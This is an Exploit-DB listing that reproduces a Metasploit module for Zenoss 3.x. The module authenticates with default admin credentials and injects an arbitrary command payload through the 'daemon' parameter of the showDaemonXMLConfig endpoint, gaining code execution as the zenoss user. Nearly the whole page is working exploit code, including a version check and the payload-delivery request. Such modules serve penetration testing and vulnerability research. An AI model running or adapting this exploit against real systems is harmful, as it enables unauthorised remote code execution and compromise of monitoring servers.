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# Zenoss 3 - showDaemonXMLConfig Command Execution (Metasploit)

**EDB-ID:**

20205

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[REMOTE](#)

**Exploit:**   / 

**Platform:**

[UNIX](#)

**Date:**

2012-08-03

**Vulnerable App:**



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```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Zenoss 3 showDaemonXMLConfig Command
Execution',
      'Description' => %q{
This module exploits a command execution vulnerability in
Zenoss 3.x
which could be abused to allow authenticated users to
execute arbitrary
code under the context of the 'zenoss' user. The
show_daemon_xml_configs()
function in the 'ZenossInfo.py' script calls Popen() with
user
controlled data from the 'daemon' parameter.
},
      'References' =>
[
  ['URL', 'http://itsecuritysolutions.org/2012-07-30-
zenoss-3.2.1-multiple-security-vulnerabilities/'],
  ['#OSVDB', 'None'],
  ['#CVE', 'None'],
],
      'Author' =>
[
  'Brendan Coles <bcoles[at]gmail.com>', # Discovery and
exploit
],
      'License' => MSF_LICENSE,
      'Version' => '$Revision: 3 $',
      'Privileged' => false,
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Payload' =>
{
  'Space' => 1024,
  'BadChars' => "\x00",
  'DisableNops' => true,
},
      'Compat' =>
{
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic python perl bash',
},
      'Targets' =>
[
  [
    'Automatic Targeting', { 'auto' => true }
  ],
],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jul 30 2012'
    ))
end
```

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```

register_options([
  Opt::RPORT(8080),
  OptString.new('USERNAME', [true, 'The Zenoss username',
'admin']),
  OptString.new('PASSWORD', [true, 'The Zenoss password',
'zenoss'])
], self.class)
end

def check

  @peer = "#{rhost}:#{rport}"

  # retrieve software version from login page
  begin
    res = send_request_raw({
      'method' => "GET",
      'uri'     => "/zport/acl_users/cookieAuthHelper/login_form"
    })
    return Exploit::CheckCode::Vulnerable if res.body =~
/<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
    return Exploit::CheckCode::Detected  if res.body =~ /<link
rel="shortcut icon" type="image\/x\-\icon" href="\zport\dmd\/favicon\.ico"
\/>/

    return Exploit::CheckCode::Safe
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
    print_error("#{@peer} - Connection failed")
  end
  return Exploit::CheckCode::Unknown

end

def exploit

  @peer = "#{rhost}:#{rport}"
  username = datastore['USERNAME']
  password = datastore['PASSWORD']
  command = URI.encode(payload.encoded)+"%26"
  postdata = "__ac_name=#{username}&__ac_password=#
{password}&daemon=#{command}"

  # send payload
  print_status("#{@peer} - Sending payload to Zenoss (#
{command.length.to_s} bytes)")
  begin
    res = send_request_cgi({
      'method' => 'POST',
      'uri'     => "/zport/About/showDaemonXMLConfig",
      'data'    => "#{postdata}",
    })
    if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
      print_error("#{@peer} - Authentication failed. Incorrect
username/password.")
      return
    end
    print_status("#{@peer} - Sent payload successfully")
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
    print_error("#{@peer} - Connection failed")
  rescue
    print_error("#{@peer} - Sending payload failed")
  end

  handler

end
end

```

